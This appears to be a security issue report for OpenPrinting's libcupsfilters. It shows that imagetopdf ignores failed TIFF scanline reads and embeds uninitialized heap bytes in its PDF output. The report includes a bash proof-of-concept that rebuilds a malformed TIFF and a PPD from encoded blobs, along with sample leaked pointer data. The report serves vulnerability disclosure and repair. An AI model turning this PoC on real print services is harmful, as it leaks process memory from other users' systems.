OpenPrinting / OpenPrinting/libcupsfilters
imagetopdf: failed TIFF scanline read leaks heap contents into PDF
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
The TIFF decoder ignores a failed TIFFReadScanline() and converts the
uninitialized scanline buffer into the output image. A valid TIFF header whose
strip points past end-of-file causes 64 bytes of residual heap data to be
embedded in the generated PDF.
This is a document-only confidentiality primitive. Its practical impact
depends on whether the generated PDF is visible to the submitter or another
attacker-controlled endpoint.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.tiff is a 134-byte little-endian, uncompressed, 64-by-1
grayscale TIFF. Its strip offset is 1,000, beyond end-of-file. Its SHA-256 is
9ce6dd93681edce7e8626945db5d6f2faef541e7b5d3a7a2e577c0e7ee1f0b62.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: imagetopdf: failed TIFF scanline read leaks heap contents into PDF
# Finding ID: imagetopdf-truncated-tiff-heap-disclosure
# Trigger: The TIFF decoder ignores a failed TIFFReadScanline() and converts
# the uninitialized scanline buffer into the output image. A valid TIFF header
# whose strip points past end-of-file causes 64 bytes of residual heap data to
# be embedded in the generated PDF.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.tiff (134 bytes)
write_file document.tiff 9ce6dd93681edce7e8626945db5d6f2faef541e7b5d3a7a2e577c0e7ee1f0b62 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA/P01GLgYGBg4GJgYGRhYASyHICYEcoGYSZGZjANUsUMZYMwGxJbEKr+BTMDgxBU
nAmIRZHUiCGZKY5kFwgAAG2dM4SGAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (2278 bytes)
write_file printer.ppd c1a6d5622f4a422bcbb81b393e42287a5c661331c924e1b27b29599022b135c5 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61VXW/aMBR951dYfSpIrfmsGKomFWg7tAJZoZOmaQ9uuASrxo4cp4L++l3bQEKJ
0mqaBA4+x/ec45sQ14JgeHGzUM/QI2fty9ZZpXan9JqZn6ATrmSGcgEZ1risI/bAZJSyKMNvZSR4
ssqYWxmqBZdRj4xm0wdmuGxUamMm0yULTapBo9ZsPL+4S9/eQKPkWC1ATNjaxhmtUWGuHlliQJOB
egWNAJnGBs0SXDxbKW0mPHzZFaDSHNaxYAaQzREfKgUDu79MBrtyiV/LaLVIQ4PweU6+aplZ1o/z
Vr1RrxLblDCNkwOBffKI31e6frZb3mPYByYGKuaQ9MgdEwl4ArMY1xpuc9PNRYz7ZM8CLpjcrllM
6sQxRmm3I3SdxiCfRqQ2UEJpZ9YjATZgKlFzCEuWCpPnHu/7ldxicq/ZltoBXa+vqU3h2FnMQiCN
rkP63CQBaEeQIyjgGxTpfv2agIkx2QJeeWhvQs4CLSl+iw0+pd9slxoMxr++UzsUWlx9yqLVLLXo
Cxa+UDcWmrT+uU9CJfA06uXvYHZXA82l+YEPCzfb0/t6zA41W5rKUYnHqBuz2CNpIAJdJ63TOEfV
E/tCENRfCurbH9R/49GK2qGgtvNBbbBSRlE3FlRflTUyr5O1cgwLzubbGE77mKcE47KSLfYAdaPP
caDOHVg9TZIV32OmBP9e7vK+3KOl9XPNZBIzDTLc0vzkvVaeK1W8la8gVAx0/+O90h6vlnX4sDxr
7zCNBWxOe7vHJ8qBbuYmdLpcevMduLTvwVPXHesvEzXHV6kA+qBkRGARwZGE0SlQv+JTcjsxd5yU
q9nfZR3xJbk/Li6b8beChy1jbtqVwzqceO898LvzpUO67eYfas8wPEn7fbUhMhWi9NHfVR8HeYTI
HUpFUfbcPoyf/8c4XvDg6U5ke6TdaGDe9gjyzo0mwU+n2yLdlj1bD4Fj0EO+BpnkQucxX74Le1b5
C4IvvhXmCAAA
POC_PAYLOAD_1
Result
libtiff reports that strip zero could not be read, but the filter exits zero
and emits a PDF. In the ASan build, the 64-byte image stream contains the
allocator fill byte 0xbe. In a plain build, it contains process-varying,
pointer-shaped values; one archived replay began:
000073f6df8dec90000073f6df8dec60000073f6df8dec30000073f6df8dec00
No memory overwrite or filter crash occurs.
Cause and expected behavior
For the TOPRIGHT, grayscale path, image-tiff.c:505 calls
TIFFReadScanline(tif, scanline, row, 0) without checking its return value.
The conversion loop then consumes the full _TIFFmalloc() buffer. Other
branches in the same decoder contain the same unchecked-call pattern and
should be audited together.
Every failed scanline read must stop decoding or replace the complete row with
a deterministic initialized value before any output conversion.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start at image-tiff.c:505 and inspect the TOPRIGHT grayscale path, then audit the other unchecked TIFFReadScanline calls in the same decoder. Run reproduce.sh with poc/document.tiff and printer.ppd to observe the current PDF output. Done means failed scanline reads no longer consume uninitialized data and the malformed input is handled with deterministic output or decoding stopped.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 65/100